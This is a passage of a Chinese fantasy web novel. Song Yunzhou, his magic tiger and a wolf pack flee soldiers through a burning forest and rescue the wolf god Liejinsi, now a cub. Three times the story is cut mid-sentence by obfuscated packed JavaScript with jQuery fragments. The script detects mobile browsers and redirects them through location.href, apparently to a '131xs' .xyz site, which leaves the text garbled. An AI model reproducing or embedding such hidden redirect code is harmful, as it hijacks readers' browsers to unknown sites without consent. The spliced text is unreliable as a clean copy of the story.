宋云州的呼吸略略不稳,眼看男人越发逼近,他用力闭了下眼,再次瞄准,随即手上一松。 利箭擦着男人的头盔飞向远处。 不出意料地射偏了。 男人没给宋云州再补一箭的机会,即刻揉身而上,挥剑斩向宋云州颈侧。 宋云州马上回手用弓身抵挡,将长剑努力推离他的脖子。 可惜坚韧牛角制成的弓也没能在男人的剑下多坚持一会儿,很快弓身崩裂,男人一剑砍中了宋云州的左肩。 剑身锋锐,左侧背包带一下断开,入肉创口极深,鲜血瞬间淌满肩膀。 宋云州吃痛,一不小心泄了力,登时被男人的力道压得单膝跪地。 宋云州握住剑身的双手血流不止,他不解都处于这种劣势了,小菠怎么还不带他逃跑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142451|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他往小菠处瞄了一眼,发现小菠并未冲击任何一侧士兵,而是边击退无休无止的锁链,边朝他这边倒退。 宋云州福至心灵,瞬间明白了小菠的意图—— 士兵围了三面,男人独自镇守一面,只要他有办法在短时间内使男人无法追击,小菠就可以立刻带他离开。 宋云州眸光一动,立刻有了计较,他努力向上发力抬剑,试图站起身,果然使得男人用力下压剑柄。 就在男人将全部力量都放在剑柄上,想加深宋云州的伤口时,宋云州突然向前冲击,用头撞向男人腰部! 与此同时,宋云州大喊一声:“小菠,树上风铃!” 男人没有防备地被宋云州撞得后退数步,撞到了斜后方大树的树干上。 男人没听懂宋云州的话是什么意思,倒是看出宋云州的动作使他露出了背后空门,男人立即抬手,就要将宋云州自背后捅个对穿。 千钧一发之际,一道红光击出,挂在树冠上的白骨风铃立时带着火星朝男人兜头砸下。 两个颅骨相撞,男人戴着头盔,虽免于头破血流,却仍被砸得晕头转向,顺着树干滑下,一时丧失了行动能力。 宋云州见状一把放开男人,跑去拔出他那把被击飞后插在地上的长剑。 小菠看到宋云州成功制服男人,立刻抽身撤出战团,向这处跑来。 宋云州取了剑没有等在原地,迅速向远处狂奔,在跑动中跃上小菠后背,小菠立刻用魔法治愈他身上的伤口。 一人一虎默契配合逃离,顷刻将一众士兵远远甩在身后。 宋云州在男人剑下四处躲闪时,无意间看到男人的目光若有若无地扫向了远方某处,似是在关心那里的进展,而后男人进攻的速度才开始加快。 宋云州有些在意,便让小菠向那边跑,不成想没跑出多远,竟真看到了被士兵们用锁链阵围困的狼群。 狼群身上带有烈金斯的魔力,寻常强度的进攻根本奈何不了它们,但它们也没有强到可以突破士兵的包围。 双方谁也奈何不了谁,看样子已经对峙了半天。 此时出现在这里的小菠如神兵天降,它绕到士兵背后,直接将他们全部撂倒,瞬间打破僵局。 狼群获救,宋云州望向周遭,却仍旧没有发现烈金斯的身影。 难道它们也被军队冲散了吗? 宋云州不知道狼群能不能听懂他的话,死马当活马医般尝试和它们沟通:“你们快带我去找烈金斯,我是来帮他的。” 一只个头稍微大些的黑狼狐疑地盯着宋云州看了看,似是在思考,随后它调转方向,往深林中跑去,其余狼见它动作,纷纷跟上。 宋云州和小菠对视一眼,也跟了上去。 但追在狼群身后跑了半刻,宋云州越发觉得不太对,忙让小菠停下。 同样的一具动物焦尸他明明在不久前看过一次。 ——这群狼似是并无目的地在带着他兜圈子。 宋云州心里一沉,狼群该不会是也把他当做了入侵者,所以在努力将他往远离烈金斯的地方引吧? 就在这时,正巧有一小队蝙蝠自林间低飞而过,与宋云州打了个照面,直直地向他身后赶去。 宋云州旋即回头看向身后,正巧在这时,与狼群奔跑方向相反的远处又有一团巨大的火球爆开。 呈半球状爆裂的赤色魔力潮,在击开自四面八方赶向那里的蝙蝠群的同时,为本就已经深陷烈焰地狱的森林,再镀上了一层更为猛烈妖异的赤红。 24. 小狼崽子 强劲热流如浪潮席卷,铺天盖地漫过无边林木,火焰燃烧得几乎发黑,整片森林都在烈焰中哀嚎。 小菠迅速压低身形后坐,将身周防御屏障扩展数倍,形成坚盾挡在身前,抵御过这一波魔力潮的冲击。 滚烫的烈风卷过身侧,宋云州只觉气管都要被灼伤。 趁小菠专心抵挡火焰,宋云州回手打开背包,查看了一下布瑞德的状况。 布瑞德蔫蔫地团在背包里,吐着舌头热得不行,它张了张嘴却没出声,只朝宋云州委屈地眨了眨眼睛。 宋云州心疼地摸摸布瑞德的头,从它身下翻出水袋,将剩下的小半袋水全倒在了布瑞德的身上,给它降温。 宋云州没时间喂布瑞德喝水,也只能用这种方式,让布瑞德自己去舔被水浸湿的毛毛。 布瑞德感受到珍贵的水源,马上偏过头大口去舔它的前肢。 宋云州安慰道:“布瑞德,再坚持一下就好了,乖。” 他又看了布瑞德一眼,就露出换气口系上背包,又把左侧断开的包带打个结,重新背上。 魔力潮最强的波峰已过,小菠晃了晃硕大的毛脑袋,站直身体,收回防御屏障。 小菠确认宋云州抱紧了它的脖颈,立刻抬爪前跃,逆着火焰朝魔力爆开的地方奔驰。 在前面“引路”的狼群在察觉宋云州停下后,也停了下来,在远处踱步观察,烈金斯的法力保护它们在再一次肆虐而来的烈焰中毫发无伤。 当狼群看到宋云州不再追来,而是朝相反的方向赶去,它们一时变得有些焦灼,昂首嗥叫两声试图吸引回宋云州的注意。 但宋云州没再回来,几只狼互相看了一眼,转而朝宋云州追去。 蝙蝠群往一处聚集,必然是黑莓找到烈金斯后在寻求帮助,可魔力潮爆裂在距离它们如此近的地方,宋云州为它们现在的状况深感担忧。 小菠每一次前跃的步幅极大,几乎是在林间飞腾,如跳火圈一般跃过倒塌拦路的火树,一路上没再遇到任何阻碍。 宋云州小心留意周遭动静,可除了追在身后的狼群外没有其他发现,更令他感到不安。 小菠越过最后一道熊熊燃烧的火墙,四爪落在一片较为开阔的空地上,宋云州就见十几名身穿黑袍的人背对着他们在空地上一字排开。 看到这身黑袍,宋云州立刻想到了在神殿里袭击他和布瑞德的两具尸傀儡,神情肃然,条件反射地握紧了腰间的剑柄。 火球自此处爆开,却唯独这里没遭火海肆虐,仿佛有一道无形屏障将烈焰隔绝在外。 黑袍人静默站立,什么动作都没有,一大团浓重的黑雾悬浮在他们面前,在半空中一刻不停地扭曲攒动,似是里面关着的什么东西正在挣扎着想往外闯。 宋云州依旧没有发现烈金斯的行踪,他看向那一大团黑雾,止不住地怀疑烈金斯不会是被抓进雾里了吧。 眼前的景象太过阴森诡异,宋云州和小菠一时不敢轻举妄动,谨慎地守在黑袍人外围,防备着兴许会突然出现的异动。 过了片刻,黑袍人像是这才意识到有外人闯入,齐刷刷地转身面向宋云州。 与先前的两具尸傀儡不同,这些人的每一寸肌肤都隐藏于黑袍之下,宽大的兜帽和袍袖将他们的身躯完全遮掩在黑暗中,什么都看不见。 宋云州从小菠背上跳下来,拔出剑挡在胸前,努力让自己的声音听起来底气十足,问:“你们是什么人?” 回答他的是突然而起的低沉咒语声,犹如鬼祟低语,含糊不清,透着无端阴邪。 黑袍人一齐出声念诵,那团雾气在咒语声中挣动得愈发剧烈,它在某一刻猛地惊动,飞扑到宋云州和小菠面前。 赤红的防御屏障立刻在宋云州面前铺展,当黑雾贴至近前,小菠大吼一声,同时甩尾,红色魔力潮成弯刀斩过,与黑雾迎面相撞。 黑雾如有实体,竟没被魔力潮直接击散,而是两者相抵,悬停在半空。 僵持半晌,黑雾外溢的边缘忽而向内一缩,旋即迅速向外膨胀,一大团聚拢的烈焰当即爆开! 正是先前出现过两次的巨大火球。 没想到就是这怪东西制造出来的。 宋云州下意识抬起手臂护住额头,火球径直撞上小菠的防御屏障,在它再次席卷森林之前,被魔力屏障抵消掉了全部冲击力。 黑雾进攻的声势浩大,但实力确实如小菠早先预料的那般,并不怎么厉害。 黑袍人不多纠缠,操纵黑雾一击过后,不管结果如何,即刻连带着那团黑雾一起,在深蓝色魔力中隐去了身形。 他们离开得出乎意料,宋云州着实松了一口气。 就在黑雾向内坍缩的那一瞬,宋云州隐约看到了隐藏在雾里的事物,似是某种动物的骨架,却有着如铠甲般锋利的棱角,那事物的颜色是比黑雾更为浓重的黑,像是吸收了所有光线的深渊水域。 宋云州直觉这东西不会是什么善茬,走了也好。 他记着赶来这里的初衷,直接开口大喊:“黑莓!” “烈金斯!” 每喊过一声,宋云州都和小菠侧耳细听有无回应。 黑袍人走后,火焰旋即开始向这片空地蔓延,宋云州紧贴在小菠身侧,借防御屏障避开火势。 一人一虎逐渐朝空地外围扩展搜索范围,在宋云州第不知多少次呼唤黑莓的时候,终于听到了细微的应答。 “……咳咳……”是黑莓有气无力的声音,“……这儿……在这儿……” 小菠虎耳微动,当即锁定位置,带宋云州赶到不远处的一棵树下。 宋云州刚望见一团黑扑扑的东西窝在树根处,就有一大截被烧焦的树枝从高处断落砸下,幸好小菠及时出手将它击飞。 宋云州几步奔到树下,正要捧起跌落的黑莓,却见黑莓还抱着一只狼崽。 黑莓浑身瑟瑟发抖,明明害怕得不行,却没想着逃跑,它紧贴在狼崽的脑袋边,张开薄薄的翼膜,紧紧护住狼崽的头。 “黑莓?”宋云州看了一眼一动不动的狼崽,奇怪地问,“你在这干什么?烈金斯呢?” 黑莓听到宋云州的声音在身边响起,紧闭的双眼这才睁开。 它急忙收起翅膀,让宋云州看到狼崽的全身:“这就是烈金斯大人!你快带他离开!” 宋云州伸出的手不由一顿,暗自惊奇黑莓怎么每次呼唤烈金斯都是对着他意想不到的事物。 被称作“烈金斯”的狼崽还很幼小,只比黑莓大出一倍多一点儿,而且毛色还是最最普通的黑灰色,和之前满身星辉的银白巨狼毫不相干。 烈金斯陷入了昏迷,幸亏是黑莓找到了他,不然宋云州从他身边经过都未必能发现得了他。 既然黑莓认定这只小狼崽子是烈金斯,那就必然不会出错。 宋云州没多问,一把将黑莓和狼崽抱进怀里,刚才在这里耽误了许多时间,想必军队很快就会追过来,还是赶紧离开为妙。 黑莓晃了晃迷迷糊糊的脑袋,强撑着飞起来:“我来给你带路。” 它忘了自己身上的伤有多重,刚对宋云州说完这句话,就两眼一闭昏了过去,直直往脚下的火焰中栽去。 宋云州连忙接住黑莓,问小菠:“小菠,你的魔法能治好黑莓的伤吗?” 小菠看了一眼躺在宋云州手心的小蝙蝠,摇了摇大脑袋,不知是不想还是不能。 紧接着小菠朝宋云州身后扬了下头,宋云州回身去看,胳膊无意中碰上了一个毛乎乎的东西。 偷偷凑上来想闻狼崽的黑狼,被宋云州手臂碰到脸,吓了一跳,局促地往后退了两步。 宋云州这才发现之前给他们引路的那群狼不知何时悄悄围了过来。 狼群看起来并无攻击的意图,领头的黑狼低眉搭眼,努力做出无害的样子,它试探地上前,将尖尖的鼻头抵在烈金斯的毛脑袋上,仔细地嗅了嗅。 黑狼确认过后,抬头看了看宋云州,退开几步,转身欲跑,又转过头来示意宋云州。 宋云州挑眉:“你们又想带路?” 宋云州不太相信它们,但小菠却没有要使用转移魔法离开森林的意思,而是压低后背,让宋云州再骑上去。 宋云州只好一手揽住烈金斯和黑莓,另一手抱住小菠,由着它追随狼群行动。 不过这回烈金斯在他手里,狼群总不能再带他兜圈子了吧。 果不其然,狼群没再整什么幺蛾子,跑动的狼群分布在小菠身周各处,比起带路,它们更像是在护卫。 领头的黑狼故意退到了队伍最末,通过不时低嗥掌控队伍的走向。 狼群和猛虎一同奔袭,再一次冲破火焰构筑的壁垒后,一阵凉爽山风扑面而来。 熊熊烈焰被抛在身后,取而代之的是远方月光下静谧的群山。 ——他们冲出了悬铃森林! 狼群一刻不敢停滞地带着小菠在山道上奔跑,尽力远离悬铃森林。 宋云州从明亮刺眼的火焰中陡然进入只有月色的暗处,眼前满是昏花的光斑,他用力闭了闭眼,想让视线恢复正常。 就在这时,纷杂响亮的马蹄声自他们身后响起。 宋云州向身后望去,视线中的光斑与银白盔甲交叠,是布守在此处山道上待命的骑兵追了过来。 骑兵在奔跑中的马背上开弓,箭雨飞射,落向宋云州背后,小菠无死角的防御屏障将箭矢全部阻挡在外。 狼群用不着小菠帮忙,烈金斯为它们设下的魔法足以抵挡利箭。 小菠甩尾还击,用魔法扫倒了一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142452|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑兵。 骑兵们训练有素,见前排跌倒,后排即刻自两侧绕行,继续追赶。 骑兵暂且无法构成威胁,但长时间的急速奔跑使狼群逐渐力竭,与小菠的距离越拉越开。 又跑了片刻,护卫着小菠的狼群就都被小菠甩在身后,小菠跑到了最前方。 小菠完全依靠魔法行动,不会觉得疲劳,狼群自然与它不同。 宋云州看着嘴边开始泛起白沫、急促喘息的狼群,深知这么一直跑下去根本甩不开骑兵,就算小菠能硬耗到马匹跑不动的那刻,这群狼也早就被累死了。 必须得赶紧想办法脱困。 骑兵每追出一段就再次放箭,这时又有一波箭雨向他们袭来。 宋云州本以为这次能与之前一样平安扛过,不料听见身后传来一声利刃没入血肉的闷响,以及压抑的痛哼。 他心中一紧,急忙回头看去,只见狼群最末的黑狼的后腿上居然中了一箭。 宋云州马上低头看向怀里的烈金斯,狼崽仍未醒来。 宋云州不知道这到底是怎么了,烈金斯设在狼群身上的魔法竟然在消退。 黑狼是狼群的首领,它本能跑得更快,却出于职责留在队尾。 后腿受伤严重影响了黑狼的速度,汩汩的鲜血从伤处冒出,沿路洒下。 它努力追赶队伍,却与同伴们相差得越来越远。 宋云州焦急地看向四周,寻找能甩开骑兵的契机,直到前方的陡峭山体跃入眼帘,他心念一动,当即附到小菠耳边,低声说出自己的计划。 小菠动了动耳朵,表示收到。 黑狼又跟着队伍跑了几步,扎在后腿上的箭矢随它的动作更深地撕裂血肉。 它望了一眼离它越来越远的老虎,似乎突然意识到了什么。 下一秒,黑狼做出了谁都没有预料到的举动—— 它猛地停下前奔的脚步,果决地调转方向,亮出利齿朝追在后面的骑兵冲了过去! 黑狼一动,跑在它身侧不远处的另一匹狼立刻察觉了它的行动,连想都没想,另一匹狼效仿头狼,也转身朝相反的方向跑去。 明明没有一只狼发出声音,整个狼群却在瞬息间纷纷发现头狼异动并选择追随。 宋云州和小菠说完话,回头想看看黑狼的状况如何了,不成想见到的就是这一幕。 狼群闷声干大事,竟一声都不吭地就转头要去和骑兵同归于尽。 狼群和骑兵的距离逐渐缩小,两者对冲,谁都没有减速。 骑兵的箭已在弦上,瞄准了丧失防御的狼群,狼群在飞速奔跑中借力,预备在逼近骑兵的那刻跃起撕咬。 宋云州急道:“小菠,快拦住它们!” 小菠立刻停下,转身面冲骑兵,用魔法击翻一大片举起弓箭的人马,同时一道透明的红色屏障拔地而起,生生截停了不要命般向前冲的狼群。 宋云州一把将黑莓揣进怀里,用腾出来的手掐住狼崽的后颈皮,伸直手臂举到身侧,冲狼群大喊:“跟上来一起跑,不然我就把他扔下去!” 狼群听不懂宋云州的话,但他假装往外扔狼崽的举动即刻引来了狼群不满地嗥叫。 宋云州见狼群重新往他这边跑来,连忙让小菠跑起来。 小菠一动,竖起的屏障随即消散,骑兵迅速整装后继续追逐。 宋云州伏在小菠背上,保持右臂平举揪住狼崽的姿势,像吊着一块肉那样吸引狼群来追,以防这些狼又突然犯傻。 小菠不再依靠防御屏障挡箭,而是在宋云州提醒骑兵又要放箭时,直接用魔力将他们打倒一片。 这样很麻烦,但可以确保狼群不会再受伤。 山道尽头连通着一个峡谷,峡谷幽深蜿蜒,高耸的两侧山体遮挡月光,使峡谷内漆黑一片,在外面根本看不清里面的道路情况。 山道没有任何岔路,不管峡谷内究竟怎样,小菠都别无选择,只能带着宋云州往里冲。 狼群追在他们身后鱼贯而入,片刻后落在最后的黑狼也冲进了峡谷口。 距它不到十步之遥,便是奔在最前方的骑兵。 本应已经深入峡谷的宋云州,此时却站在峡谷口的阴影中窥探。 他盯着骑兵渐近的身影,忽而开口:“小菠,就是现在!” 话音未落,已经恢复成一张纸状态的小菠当即冲天而起,眨眼间飞到矗立在峡谷口边缘的陡峭山体之上。 小菠用出它会的最具有破坏力的魔法,凝结出一团红光流溢的魔力,炮弹般轰向山体。 山石在强劲魔力下登时碎裂成无数块,轰隆隆自高处崩塌砸落,激荡起万丈尘烟,堵住了狭窄的峡谷口。 而在魔力撞上山体的那瞬,小菠碎裂成纷纷扬扬的纸屑,还没等落地就消失不见。 25. 幽夜潜行 硕大山石毫无征兆地突然崩裂坠落,将将赶到峡谷口的骑兵纷纷大惊勒马,慌忙后撤。 后侧来不及停下的骑兵与前阵混乱冲撞在一起,顿时人仰马嘶,摔作一团。 宋云州对小菠说完那句话,立刻掩住口鼻,快步躲到较远处的山石后方,仰头目送小菠在耀眼的红光中返回神殿。 峡谷口被碎石封死,骑兵一时半刻是不会再追击了,可若是会魔法的人赶来,击穿拦路的石块应该也不是什么难事。 小菠离开了,烈金斯还没醒,宋云州就又变成了面对魔法束手无策的状态,他必须要尽一切可能避免再和魔法师正面遇上。 现在还远没到能称得上安全的地步,宋云州不等飞扬的烟尘落定,就转身往峡谷深处走去。 峡谷深邃曲折,野草丛生,连条像样的小路都没有,似乎已许久没人来过。 月光因为角度问题,斜落在高崖顶部,谷底几乎完全隐没在黑暗中,十几双幽亮的绿色光点悬浮在草丛里,远近不一,诡异非常。 要是不知情的人蓦地看到这般情景,真会被吓出一身冷汗,宋云州一眼扫过,反倒觉得心安。 绿光来自一双又一双狼眼,狼群追在小菠身后进入峡谷,骤然发现失去了老虎的踪迹,纷纷停下折返,聚拢在宋云州身边。 此时狼群见宋云州动作,立刻跟上他,草叶窸窣折断声渐次响起。 宋云州不像狼能夜视,他在黑暗中摸索着缓慢前进,走了半晌才收集够一把灌木枯枝,做了一个极其简易的火把,用火石点燃。 火光不大,能够照亮的范围有限,但对宋云州来说比绝对的黑暗要舒服太多。 宋云州把火石放回背包,敞开包口,终于能放布瑞德出来透口气。 布瑞德的毛脑袋一下子就冒了出来,抬爪搭上宋云州双肩,探头过来,久别重逢般兴奋地用额头磨蹭着宋云州的脸颊。 宋云州回头揉揉布瑞德的脑袋,笑着拨了下它颈上的铭牌,换来虎崽更热烈地贴贴。 有两匹狼不知是不是出于对嗷嗷叫的布瑞德的好奇,凑过来,仰着鼻子嗅闻布瑞德所在的背包。 宋云州移过火把,朝它们虚虚一挥:“不许乱闻。” 突然靠近的热源立刻将两匹狼驱赶走。 布瑞德奇怪地看看跟在身边的狼,看看映在两侧崖壁上不断变化的幢幢黑影,最后目光还是落在宋云州的侧脸上。 刚才时间仓促,光线条件也不支持宋云州看清小菠的许多话,总之小菠答应一定会回来找他。 在那之前,宋云州要想办法保证自己和布瑞德的存活。 宋云州把夹在臂弯里的狼崽重新抱好,还是因为烈金斯才会有这么多狼陪着他。 几匹狼率先跑到前面探路,几匹垫后,绝大多数狼都护卫在距宋云州三四步远的地方。 狼群要比宋云州警觉千百倍不止,有它们在,宋云州就只管往前走,根本不用费心提防可能潜藏在暗处的危险。 受伤的黑狼一瘸一拐地慢慢跟在后方,箭矢仍刺在它的肉里,长长的箭杆随着它的走动与周边的草叶相碰。 宋云州手边没有药或绷带,无法处理拔箭后必然造成的出血。 他用小刀裁下一截裤腿,把布条紧紧系在黑狼的后腿根处,减缓血液流出,并截断了箭杆,让黑狼的行动能稍微自如些。 此处峡谷呈“V”字形,经过狭窄的谷口,越往里走越开阔,没有岔路,宋云州便跟着狼群一直往里走。 两侧崖壁的间距逐渐拉大,月光一点点照亮眼前的山谷,前方探路的狼突然快步前窜几步,低嗥了两声。 宋云州不明白嗥叫的意思,依照身边狼的反应,也快跑跟上去。 跑动间宋云州很快便听到了水流声,越过草丛,一眼小小的泉水正从山石间涌出,在石块堆积的地面上汇聚出一方清浅的小潭。 几匹狼轮流放哨,先后过来大口喝水。 宋云州借身高优势,直接将水袋口对准泉眼灌满,又举着布瑞德让它喝足了水。 宋云州用手指在烈金斯和黑莓的口鼻处涂了些水,想着让它们接触一点儿湿气是不是能更快醒来,却还是不见任何反应。 等所有狼都喝完了水,宋云州不打算再顺着峡谷继续走下去,而是决定爬上泉水边的矮坡,从这里进入另一片森林。 峡谷只有一条路,躲无可躲,被军队发现的可能性太大,宋云州只靠双腿跑不过骑兵。 但进入森林就完全不一样了,夜黑林深,光是看路都难,找人的行踪就更费劲,而且骑兵施展不开,步兵的行进速度也会被拖慢。 宋云州这边还有狼带路,不会有任何人比它们更熟悉森林。 泉边矮坡以凹凸不平的石块为主体,约两人高,坡度不算陡峭,但因泉水长期浸润,十分湿滑。 狼群明白宋云州想从这里上去的意思后,便开始围在矮坡前研究怎么上去。 两三次试跳后,一匹灰狼助跑借力,在凸起的石块上几步腾跃,率先登上了坡顶。 几匹狼紧随其后,重复灰狼踩过的路线,爬坡爬得异常顺利。 余下的狼等在宋云州身后,让他先上去。 这里的月光勉强可以视物,宋云州用泉水浇灭火把,左手掌心托住狼崽胸膛,用左侧手肘配合右手向上攀爬。 奈何石块太过圆滑,宋云州一只手不好抓稳用力,刚到中途就只能松手退了下来。 一匹狼上前,冲宋云州扬了扬尖吻,示意他把狼崽给它叼着。 宋云州下意识想把狼崽递过去,突然又缩回手,拒绝了它。 宋云州担心万一狼群叼着烈金斯弃他而去,他和布瑞德的处境只会更加危险,狼崽模样的烈金斯多少还能当个控制狼群的筹码。 可背包里有布瑞德就已经满满当当,宋云州考虑了一下,最终选择他自己叼。 宋云州捏住狼崽的后颈皮,小心地用牙咬住,毛刺刺的古怪感觉登时从齿关传来,他咧开嘴唇,舌头后缩,尽可能不碰到狼崽脏兮兮的皮毛。 宋云州不敢使太大劲儿,又怕狼崽从嘴里滑落,在他自己都没反应过来的时候,三步并作两步就攀上了坡顶。 还挺简单的,宋云州这么想着,赶紧把狼崽从嘴里拿下来,掏出水袋漱了个口。 等宋云州放好水袋,余下的狼也都……并没有都上来。 几匹狼围在坡边缘往下看,宋云州也扒头看,只见那只受伤的黑狼在坡底徘徊。 黑狼一遍又一遍地尝试,每每都是跃到中途就后腿打滑,不得不放弃向上,跌回坡底。 宋云州轻“啧”了一声,他怎么把它给忘了,应该先想办法把它弄上来的。 他们不能在这里耽误太久,宋云州看黑狼的状态确实够呛,他翻出包里的绳子,再次叼住狼崽,打算下去捆住黑狼把它拉上来。 黑狼恰好在这时仰头朝坡顶上看了一眼,可能是看到狼崽有了动力,它再次后退助跑,奋力跃起,在石块上蹬了两下,眼看就能冲上来,但疼痛的后腿无法再支持它进行最后一次跳跃,只能遗憾地折身下落。 这是黑狼离坡顶最近的一次,宋云州正巧跪在坡顶要下去,看到近在咫尺的黑狼,想都没想就探身一把薅向它的后颈皮。 黑狼身躯后仰,即将摔下去,宋云州的手错过了它的皮毛,只来得及攥住它的一条前腿,硬是把它给拽了上来。 宋云州松开黑狼,反应过来什么,旋即松口,心惊胆战地摸了摸狼崽的后颈。 他刚才用力的过程中条件反射地咬紧牙关,狠狠咬住了狼崽,还好没有见血。 宋云州补偿性地给狼崽揉了揉,重新做了个火把,跟随狼群往林深处去。 森林中极黑的深处不时传来几声夜枭的鸣叫,狼群潜行林间,幸运地没有遭遇其他掠食性动物。 宋云州一刻不停地赶路,走到双腿酸痛才叫停狼群,找地方稍作休息。 一块倒塌的巨石与下陷的斜坡构成了一个类似桥洞的地方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142453|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋云州在里面生起篝火,坐在一块稍大的石头上,放松腿部的肌肉。 狼群分散守卫在附近,或卧或坐,犹如一群忠诚可靠的大狗。 宋云州这时才有闲暇数了一遍,一共十五匹狼,都正值青壮年。 宋云州把狼崽放在身边,掏出塞在怀里的黑莓,看了看它的状况。 小蝙蝠收拢着翅膀,身体都僵了,血珠凝固在伤口上,着实不像还活着的样子,虽说摸起来还有点儿温度,但宋云州不确定是不是被他的体温捂热的。 不过就算黑莓真死了,宋云州也不打算就这样抛弃它,黑莓毕竟由魔法创造,等烈金斯醒来或许有办法救醒它。 宋云州捋了两下黑莓肚皮上的毛毛,遮住伤口,把它放到了烈金斯身边。 宋云州从背包里抱出布瑞德,先是把它举到面前抵了抵额头,随即将它搂在怀里放松地拥抱着,缓缓抚过脊背。 布瑞德乖乖地由着宋云州抱,同样放松地依偎在他怀里,闭起眼睛。 布瑞德温软的皮毛自带一种安定的力量,缓解了宋云州一直紧绷的神经。 抱了一会儿,架在火上的面包加热得差不多了,宋云州蹭蹭布瑞德的耳朵,拿过面包和它分着吃掉。 就在这时,“咚”的一声闷响,原本卧在宋云州跟前的黑狼猛地侧倒在地上,它四肢挣动了几下,却没力气再爬起来。 宋云州默默看着黑狼,叹了口气。 他让布瑞德坐回背包里,对仍旧昏迷的烈金斯说:“你再不醒,它恐怕是真的要死了。” 宋云州拔出小刀,多裁了些裤腿上的布料,之后将刀刃放在火上烤了烤,来到黑狼后腿边。 宋云州看了看血肉模糊的伤口,不管黑狼听不听得懂,沉静地对它说:“我给你把箭拔出来,忍一下。” 黑狼张嘴粗喘着气,胸腔剧烈起伏,有些涣散的目光无目的地盯着前方。 宋云州清楚,在这种状况下拔箭很可能是在加速黑狼的死亡,可就算不拔箭,下一程黑狼肯定是没法再跟上了。 反正单独留下它也是个死,不如最后一试,万一箭矢没有刺伤重要血管,它或许还能挺过来。 宋云州左手握紧箭杆,右手用刀尖仔细地将创口裂得更开,使劲一拔,带倒钩的箭头离体,同时也带出了少许血肉,温热的血瞬间迸溅到宋云州脸上。 黑狼吃痛低吼,应激之下回头想咬,又硬生生地忍住了,倒在地上喘息。 宋云州没时间理会黑狼的反应,一把扔掉箭头和小刀,用布料堵住伤口,双手掌心交叠,用力按压住。 奔涌的鲜血止不住地淌出,很快浸透叠了好几层的布料,甚至开始从宋云州的指缝间溢出。 黑狼大量失血,生命体征迅速衰弱。 宋云州眸色黯淡,手臂逐渐松了力量。 看似源源不断的血流不了多久了。 忽有一匹狼急促地嗥叫一声,整个狼群都开始躁动不安。 宋云州起先以为是它们知道黑狼要不行了,随即抬头发现所有狼都站起身,朝一个方向呲牙,作出进攻姿态。 宋云州心里一紧,立刻撤手起身跑向布瑞德,不顾手里还沾着血,迅速系上背包背起,带上狼崽和黑莓的同时拔出长剑,集中精神和狼群一同注视着暗处的深林。 他没想到追兵这么快就赶来了。 火光照耀不到的地方依旧静悄悄的,与大规模行军不同,有可能只是一小队分散探查的士兵。 现在仓皇逃跑是来不及了,宋云州迅速估摸了一下己方的实力,打倒五六个不会魔法的士兵倒还不在话下,重要的是不能给探查者向大部队传信的机会。 宋云州将呼吸声压到最低,侧耳细听逼近的脚步声,觉出有些异样—— 这脚步声似乎过于轻盈了些,不像身穿铠甲之人发出的。 数息之后,一道完全出乎意料的声音响起:“哥你看,哪里来的这么多匹狼?!” 竟是来自女孩的惊喜欢呼。 26. 神明属地 宋云州神色微动,持剑缓步离开土坡构成的掩体区域,探身看向外侧。 一男一女两名年轻人出现在下陷的斜坡边缘,他们衣着简朴干练,腰间挂着布袋和匕首,似是生活在附近的居民。 哥哥看着大约十七八岁,妹妹比他年幼一两岁,两人都是棕色头发,健康的麦色皮肤。 哥哥裸露着双臂,肌肉健美得恰到好处,并不夸张,有种山野间的质朴野性。 妹妹编出的两股麻花辫分别搭在肩膀两侧,略显稚嫩的面庞上是不谙世事的天真与活泼。 兄妹两人停在狼群十步开外,没再靠近,此时同样看到了宋云州,大为惊讶。 狼群护卫宋云州的意思很明显,哥哥出声询问:“这群狼是跟着你一起过来的吗?悬铃森林出什么事了?” 宋云州奇怪,这人怎么一眼就看出他们是从悬铃森林过来的? 宋云州警惕不减:“大半夜的,你们为什么会出现在这里?” 哥哥立刻坦诚表明身份:“我们居住的村落就在不远处,不久前听到了一声地动巨响,所以过来看看发生了什……” 他的话还没说完,就被站在身边的妹妹打断了,妹妹扯了一下他的胳膊,面露急切地说:“那匹黑狼怎么流了那么多血?!它还有救吗?” 妹妹在宋云州和哥哥说话时,一直目不转睛地盯着这群狼,看看这匹又瞅瞅那匹,眼里流露出的没有惧色,反而是激动与喜爱。 躺倒的黑狼太过显眼,很快就被妹妹的目光捕捉到了。 哥哥顺着她的目光看过去,抬手下意识摸向腰间的布袋,略微迟疑:“它……” 宋云州静静观察着他们的举动,察觉出似有转机,当即主动道:“它受了箭伤,止不住血。你们有办法救它?” 